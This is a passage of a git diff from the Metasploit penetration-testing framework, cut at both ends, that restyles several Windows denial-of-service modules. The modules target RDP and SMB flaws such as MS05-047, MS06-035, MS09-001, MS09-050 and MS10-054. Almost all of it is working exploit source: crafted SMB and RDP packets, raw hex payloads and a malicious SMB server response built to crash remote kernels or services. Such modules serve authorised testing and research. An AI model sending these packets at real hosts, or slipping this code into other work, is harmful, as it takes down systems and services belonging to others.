"\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x0C" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x38\x00\x06\x03" + # T.125 + "\xF0" \ + "\x03\x00\x00\x09" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x21\x80" # T.125 unless is_rdp_up print_error("#{rhost}:#{rport} - RDP Service Unreachable") @@ -140,11 +145,11 @@ def run end connect - print_status("#{rhost}:#{rport} - Sending #{self.name}") + print_status("#{rhost}:#{rport} - Sending #{name}") sock.put(pkt) Rex.sleep(3) disconnect - print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + print_status("#{rhost}:#{rport} - #{pkt.length} bytes sent") print_status("#{rhost}:#{rport} - Checking RDP status...") @@ -154,13 +159,12 @@ def run else print_good("#{rhost}:#{rport} seems down") report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} successfully crashed the target system via RDP" + host: rhost, + port: rport, + name: name, + refs: references, + info: "Module #{fullname} successfully crashed the target system via RDP" }) end - end end diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index 03689115c827c..805d583286bd0 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -9,32 +9,40 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Plug and Play Service Registry Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Plug and Play Service Registry Overflow', + 'Description' => %q{ This module triggers a stack buffer overflow in the Windows Plug - and Play service. This vulnerability can be exploited on - Windows 2000 without a valid user account. Since the PnP - service runs inside the service.exe process, this module - will result in a forced reboot on Windows 2000. Obtaining - code execution is possible if user-controlled memory can - be placed at 0x00000030, 0x0030005C, or 0x005C005C. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + and Play service. This vulnerability can be exploited on + Windows 2000 without a valid user account. Since the PnP + service runs inside the service.exe process, this module + will result in a forced reboot on Windows 2000. Obtaining + code execution is possible if user-controlled memory can + be placed at 0x00000030, 0x0030005C, or 0x005C005C. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2005-2120' ], [ 'MSB', 'MS05-047' ], [ 'BID', '15065' ], [ 'OSVDB', '18830' ] - ] - )) + ], + 'Notes' => { + 'Stability' => [CRASH_OS_RESTARTS], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), - ]) + OptString.new('SMBPIPE', [ true, 'The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)', 'browser']), + ] + ) end =begin @@ -50,14 +58,12 @@ def initialize(info = {}) =end def run - # Determine which pipe to use pipe = datastore['SMBPIPE'] - print_status("Connecting to the SMB service...") - connect() - smb_login() - + print_status('Connecting to the SMB service...') + connect + smb_login # Results of testing on Windows 2000 SP0 # 324 / 325 exception handled @@ -74,7 +80,7 @@ def run dcerpc_bind(handle) print_status("Bound to #{handle} ...") - path = "HTREE\\ROOT" + ("\\" * i) + path = 'HTREE\\ROOT' + ('\\' * i) # 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps) @@ -83,8 +89,7 @@ def run NDR.wstring(path) + NDR.long(4) + NDR.long(1) + - - print_status("Calling the vulnerable function...") + print_status('Calling the vulnerable function...') begin dcerpc.call(0x0a, stubdata) @@ -92,7 +97,7 @@ def run print_good('Server did not respond, this is expected') rescue ::Errno::ECONNRESET print_good('Connection reset by peer (possible success)') - rescue => e + rescue StandardError => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_good('Server disconnected, this is expected') else diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index 15f9bfd3a4e3b..fe6998a3131f3 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -8,39 +8,46 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption', - 'Description' => %q{ - This module triggers a kernel pool corruption bug in SRV.SYS. Each - call to the mailslot write function results in a two byte return value - being written into the response packet. The code which creates this packet - fails to consider these two bytes in the allocation routine, resulting in - a slow corruption of the kernel memory pool. These two bytes are almost - always set to "\xff\xff" (a short integer with value of -1). - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption', + 'Description' => %q{ + This module triggers a kernel pool corruption bug in SRV.SYS. Each + call to the mailslot write function results in a two byte return value + being written into the response packet. The code which creates this packet + fails to consider these two bytes in the allocation routine, resulting in + a slow corruption of the kernel memory pool. These two bytes are almost + always set to "\xff\xff" (a short integer with value of -1). + }, + + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ['BID', '19215'], ['OSVDB', '27644'], ['CVE', '2006-3942'], ['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'], ['MSB', 'MS06-035'], ], - 'Actions' => - [ - ['Attack', 'Description' => 'Run Denial of Service'], + 'Actions' => [ + ['Attack', { 'Description' => 'Run Denial of Service' }], ], - 'DefaultAction' => 'Attack', - 'DisclosureDate' => '2006-07-11' - )) + 'DefaultAction' => 'Attack', + 'DisclosureDate' => '2006-07-11', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']), - ]) + OptString.new('MAILSLOT', [ true, 'The mailslot name to use', 'Alerter']), + ] + ) deregister_options('SMB::ProtocolVersion') end @@ -50,29 +57,24 @@ def initialize(info = {}) # MAILSLOT: 53cb31a0\\UnimodemNotifyTSP def run - case action.name when 'Attack' - print_status("Mangling the kernel, two bytes at a time..."); + print_status('Mangling the kernel, two bytes at a time...') connect(versions: [1]) smb_login 1.upto(1024) do |i| - if (i % 100 == 0) print_status("Sending request containing #{i} bytes...") end begin - self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i) - + simple.client.trans_mailslot('\\MAILSLOT\\' + datastore['MAILSLOT'], 'X' * i) rescue ::Interrupt - return - - rescue ::Exception => e - + break + rescue StandardError => e if (i == 1) print_error("Failed to write any data to the mailslot: #{e}") break @@ -83,9 +85,9 @@ def run end end - # Errors: - # 0xc0000034 = object not found - # 0xc0000205 = insufficient resources (too much data) + # Errors: + # 0xc0000034 = object not found + # 0xc0000205 = insufficient resources (too much data) end diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index 74df89b08a81b..e2769c19f6a78 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -8,55 +8,59 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null', - 'Description' => %q{ - This module exploits a NULL pointer dereference flaw in the - SRV.SYS driver of the Windows operating system. This bug was - independently discovered by CORE Security and ISS. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null', + 'Description' => %q{ + This module exploits a NULL pointer dereference flaw in the + SRV.SYS driver of the Windows operating system. This bug was + independently discovered by CORE Security and ISS. + }, + + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ['OSVDB', '27644' ], ['MSB', 'MS06-063' ], ['CVE', '2006-3942'], ['BID', '19215'], - ] - )) + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) deregister_options('SMB::ProtocolVersion') end def run - - print_status("Connecting to the target system..."); + print_status('Connecting to the target system...') connect(versions: [1]) smb_login begin 1.upto(5) do |i| - print_status("Sending bad SMB transaction request #{i}..."); - self.simple.client.trans_nonull( - "\\#{Rex::Text.rand_text_alphanumeric(rand(16)+1)}", + print_status("Sending bad SMB transaction request #{i}...") + simple.client.trans_nonull( + "\\#{Rex::Text.rand_text_alphanumeric(1..16)}", '', - Rex::Text.rand_text_alphanumeric(rand(16)+1), + Rex::Text.rand_text_alphanumeric(1..16), 3, - [1,0,1].pack('vvv'), + [1, 0, 1].pack('vvv'), true ) end rescue ::Interrupt return - - rescue ::Exception => e + rescue StandardError => e print_error("Error: #{e.class} > #{e}") end - disconnect end end diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 33ac51ce553ce..9832763f116ca 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -8,35 +8,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset', + 'Description' => %q{ This module exploits a denial of service vulnerability in the - SRV.SYS driver of the Windows operating system. + SRV.SYS driver of the Windows operating system. - This module has been tested successfully against Windows Vista. - }, + This module has been tested successfully against Windows Vista. + }, - 'Author' => [ 'j.v.vallejo[at]gmail.com' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'Author' => [ 'j.v.vallejo[at]gmail.com' ], + 'License' => MSF_LICENSE, + 'References' => [ ['MSB', 'MS09-001'], ['OSVDB', '48153'], ['CVE', '2008-4114'], ['BID', '31179'], - ] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) ) deregister_options('SMB::ProtocolVersion') end - - def send_smb_pkt(dlenlow, doffset,fillersize) - + def send_smb_pkt(dlenlow, doffset, fillersize) connect(versions: [1]) - smb_login() + smb_login pkt = CONST::SMB_CREATE_PKT.make_struct pkt['Payload']['SMB'].v['Flags1'] = 0x18 @@ -55,23 +59,22 @@ def send_smb_pkt(dlenlow, doffset,fillersize) pkt['Payload'].v['AndXOffset'] = 0xdede pkt['Payload'].v['FileNameLen'] = 14 pkt['Payload'].v['CreateFlags'] = 0x16 - pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed + pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed pkt['Payload'].v['ShareAccess'] = 7 pkt['Payload'].v['CreateOptions'] = 0x400040 pkt['Payload'].v['Impersonation'] = 2 pkt['Payload'].v['Disposition'] = 1 pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00" - simple.client.smb_send(pkt.to_s) ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX) pkt = CONST::SMB_WRITE_PKT.make_struct - data_offset = pkt.to_s.length - 4 + _data_offset = pkt.to_s.length - 4 filler = Rex::Text.rand_text(fillersize) - pkt['Payload']['SMB'].v['Signature1']=0xcccccccc - pkt['Payload']['SMB'].v['Signature2']=0xcccccccc + pkt['Payload']['SMB'].v['Signature1'] = 0xcccccccc + pkt['Payload']['SMB'].v['Signature2'] = 0xcccccccc pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i @@ -88,32 +91,31 @@ def send_smb_pkt(dlenlow, doffset,fillersize) pkt['Payload'].v['WriteMode'] = 8 pkt['Payload'].v['Remaining'] = fillersize pkt['Payload'].v['DataLenHigh'] = 0 - pkt['Payload'].v['DataLenLow'] = dlenlow #<================== - pkt['Payload'].v['DataOffset'] = doffset #<==== - pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<==== - pkt['Payload'].v['ByteCount'] = fillersize #<==== + pkt['Payload'].v['DataLenLow'] = dlenlow # <================== + pkt['Payload'].v['DataOffset'] = doffset # <==== + pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc # <==== + pkt['Payload'].v['ByteCount'] = fillersize # <==== pkt['Payload'].v['Payload'] = filler simple.client.smb_send(pkt.to_s) end def run - - print_line("Attempting to crash the remote host...") - k=72 - j=0xffff - while j>10000 - i=0xffff - while i>10000 + print_line('Attempting to crash the remote host...') + k = 72 + j = 0xffff + while j > 10000 + i = 0xffff + while i > 10000 begin print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}") - send_smb_pkt(i,j,k) - rescue - print_line("rescue") + send_smb_pkt(i, j, k) + rescue StandardError + print_line('rescue') end - i=i-10000 + i -= 10000 end - j=j-10000 + j -= 10000 end end end diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb index 843046a8ea295..5e0726f78890f 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb @@ -8,62 +8,68 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', - 'Description' => %q{ - This module exploits an out of bounds function table dereference in the SMB - request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 - release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista - without SP1 does not seem affected by this flaw. - }, - - 'Author' => [ 'Laurent Gaffie ', 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', + 'Description' => %q{ + This module exploits an out of bounds function table dereference in the SMB + request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 + release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista + without SP1 does not seem affected by this flaw. + }, + + 'Author' => [ 'Laurent Gaffie ', 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2009-3103'], ['BID', '36299'], ['OSVDB', '57799'], ['MSB', 'MS09-050'], ['URL', 'https://seclists.org/fulldisclosure/2009/Sep/39'] - ] - )) + ], + 'Notes' => { + 'AKA' => ['EDUCATEDSCHOLAR'], + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(445), OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff]) ]) - end - def run - connect() + connect # The SMB 2 dialect must be there dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002'] - data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') + data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc853 - pkt['Payload'].v['Payload'] = data + pkt['Payload'].v['Payload'] = data pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i - pkt['Payload']['SMB'].v['ProcessID'] = 0 - pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000) + pkt['Payload']['SMB'].v['ProcessID'] = 0 + pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000) - print_status("Sending request and waiting for a reply...") + print_status('Sending request and waiting for a reply...') sock.put(pkt.to_s) r = sock.get_once - if(not r) - print_status("The target system has likely crashed") + if !r + print_status('The target system has likely crashed') else print_status("Response received: #{r.inspect}") end - disconnect() + disconnect end end diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb index 7c0e3ef3caa81..ae09666067710 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb @@ -8,54 +8,62 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference', - 'Description' => %q{ - This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing - an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD. - Effecting Vista SP1/SP2 (And possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050. - }, - 'Author' => [ 'sf' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference', + 'Description' => %q{ + This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing + an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD. + Affecting Vista SP1/SP2 (and possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050. + }, + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2009-3103'], [ 'OSVDB', '57799' ], [ 'MSB', 'MS09-050' ], - ] - )) - - register_options( [ Opt::RPORT( 445 ) ]) + ], + 'Notes' => { + 'AKA' => ['EDUCATEDSCHOLAR'], + 'Stability' => [CRASH_OS_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options([ Opt::RPORT(445) ]) end def run - print_status( "Targeting host #{datastore['RHOST']}:#{datastore['RPORT']}..." ) + print_status("Targeting host #{datastore['RHOST']}:#{datastore['RPORT']}...") connect - dialects = [ "AAAA" + [ 0xDEADC0DE ].pack( "V" ) + [ 0xCAFEF00D ].pack( "V" ), "SMB 2.002" ] + dialects = [ 'AAAA' + [ 0xDEADC0DE ].pack('V') + [ 0xCAFEF00D ].pack('V'), 'SMB 2.002' ] - data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join( '' ) - data += "A" * 128 + data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') + data += 'A' * 128 packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct - packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE - packet['Payload']['SMB'].v['Flags1'] = 0x18 - packet['Payload']['SMB'].v['Flags2'] = 0xC853 + packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE + packet['Payload']['SMB'].v['Flags1'] = 0x18 + packet['Payload']['SMB'].v['Flags2'] = 0xC853 packet['Payload']['SMB'].v['ProcessIDHigh'] = Rex::Proto::SMB::Constants::SMB2_OP_LOGOFF - packet['Payload'].v['Payload'] = data + packet['Payload'].v['Payload'] = data packet = packet.to_s - print_status( "Sending the exploit packet (#{packet.length} bytes)..." ) - sock.put( packet ) + print_status("Sending the exploit packet (#{packet.length} bytes)...") + sock.put(packet) response = sock.get_once - if( not response ) - print_status( "No response. The target system has probably crashed." ) + if !response + print_status('No response. The target system has probably crashed.') else - print_status( "Response received. The target system is not vulnerable:\n#{response.inspect}" ) + print_status("Response received. The target system is not vulnerable:\n#{response.inspect}") end disconnect diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index 71c44a4f2ab54..9508752a80282 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -8,51 +8,58 @@ class MetasploitModule < Msf::Auxiliary include Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop', + 'Description' => %q{ This module exploits a denial of service flaw in the Microsoft - Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger - this bug, run this module as a service and forces a vulnerable client - to access the IP of this system as an SMB server. This can be accomplished - by embedding a UNC path (\\HOST\share\something) into a web page if the - target is using Internet Explorer, or a Word document otherwise. - }, - 'References' => - [ + Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger + this bug, run this module as a service and forces a vulnerable client + to access the IP of this system as an SMB server. This can be accomplished + by embedding a UNC path (\HOST\share\something) into a web page if the + target is using Internet Explorer, or a Word document otherwise. + }, + 'References' => [ ['CVE', '2010-0017'], ['OSVDB', '62244'], ['MSB', 'MS10-006'], ['URL', 'http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html'] ], - 'Author' => [ 'Laurent Gaffie ', 'hdm' ], - 'License' => MSF_LICENSE - )) + 'Author' => [ 'Laurent Gaffie ', 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ - OptPort.new('SRVPORT', [ true, "The SMB port to listen on", 445 ]) + OptPort.new('SRVPORT', [ true, 'The SMB port to listen on', 445 ]) ]) end def run - print_status("Starting the malicious SMB service...") + print_status('Starting the malicious SMB service...') print_status("To trigger, the vulnerable client should try to access: \\\\#{Rex::Socket.source_address('1.2.3.4')}\\Shared\\Anything") exploit end def on_client_connect(client) client.get_once(-1, 1) - req = "\x00\x00\x00\x9a" + # 9e is the real length of the response - "\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" + - "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41" + - "\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00" + - "\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01" + - "\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20" + - "\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e" + - "\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" + req = "\x00\x00\x00\x9a" + # 9e is the real length of the response + "\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" \ + "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41" \ + "\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00" \ + "\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01" \ + "\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20" \ + "\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e" \ + "\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" client.put(req) client.get_once(-1, 1) client.close diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index db15416a2ff8a..657e32f94e0bb 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -8,39 +8,46 @@ class MetasploitModule < Msf::Auxiliary include Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS', + 'Description' => %q{ This module exploits a denial of service flaw in the Microsoft - Windows SMB service on versions of Windows prior to the August 2010 Patch - Tuesday. To trigger this bug, you must be able to access a share with - at least read privileges. That generally means you will need authentication. - However, if a system has a guest accessible share, you can trigger it - without any authentication. - }, - 'References' => - [ + Windows SMB service on versions of Windows prior to the August 2010 Patch + Tuesday. To trigger this bug, you must be able to access a share with + at least read privileges. That generally means you will need authentication. + However, if a system has a guest accessible share, you can trigger it + without any authentication. + }, + 'References' => [ ['CVE', '2010-2550'], ['OSVDB', '66974'], ['MSB', 'MS10-054'], ['URL', 'https://seclists.org/fulldisclosure/2010/Aug/122'] ], - 'Author' => [ 'Laurent Gaffie ', 'jduck' ], - 'License' => MSF_LICENSE - )) + 'Author' => [ 'Laurent Gaffie ', 'jduck' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(445), - OptString.new('SMBSHARE', [ true, "The name of a readable share on the server" ]) - ]) + OptString.new('SMBSHARE', [ true, 'The name of a readable share on the server' ]) + ] + ) deregister_options('SMB::ProtocolVersion') end # Perform a transaction2 request using the specified subcommand, parameters, and data def malformed_trans2(subcommand, param = '', body = '') - # values < 0xc (not inclusive) causes a crash alloc_sz = rand(0x0c) @@ -78,18 +85,16 @@ def malformed_trans2(subcommand, param = '', body = '') pkt['Payload'].v['Payload'] = "\x00\x44\x20" + data exploit = pkt.to_s - exploit[data_offset,2] = [5].pack('v') + exploit[data_offset, 2] = [5].pack('v') - #print_status("\n" + Rex::Text.to_hex_dump(exploit)) + # print_status("\n" + Rex::Text.to_hex_dump(exploit)) simple.client.smb_send(exploit) # no waiting for recv :) end - def run - connect(versions: [1]) simple.login( @@ -100,7 +105,7 @@ def run ) simple.connect("\\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}") - print_status("Sending malformed trans2 request..") + print_status('Sending malformed trans2 request..') params = [ "\x05\x01", # Query FS Attribute Info (0x0105) "\x02\x01" # Query FS Volume Info (0x0102) @@ -108,8 +113,7 @@ def run idx = rand(params.length) malformed_trans2(0x03, params[idx]) - print_status("The target should encounter a blue screen error now.") + print_status('The target should encounter a blue screen error now.') select(nil, nil, nil, 0.5) - end end diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index ff5515260eda2..c782873469d69 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -5,32 +5,33 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp - #include Msf::Exploit::Remote::SMB::Client + # include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows Browser Pool DoS', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft Windows Browser Pool DoS', + 'Description' => %q{ This module exploits a denial of service flaw in the Microsoft - Windows SMB service on versions of Windows Server 2003 that have been - configured as a domain controller. By sending a specially crafted election - request, an attacker can cause a pool overflow. - - The vulnerability appears to be due to an error handling a length value - while calculating the amount of memory to copy to a buffer. When there are - zero bytes left in the buffer, the length value is improperly decremented - and an integer underflow occurs. The resulting value is used in several - calculations and is then passed as the length value to an inline memcpy - operation. - - Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and - causes considerable damage to kernel heap memory. While theoretically possible, - it does not appear to be trivial to turn this vulnerability into remote (or - even local) code execution. - }, - 'References' => - [ + Windows SMB service on versions of Windows Server 2003 that have been + configured as a domain controller. By sending a specially crafted election + request, an attacker can cause a pool overflow. + + The vulnerability appears to be due to an error handling a length value + while calculating the amount of memory to copy to a buffer. When there are + zero bytes left in the buffer, the length value is improperly decremented + and an integer underflow occurs. The resulting value is used in several + calculations and is then passed as the length value to an inline memcpy + operation. + + Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and + causes 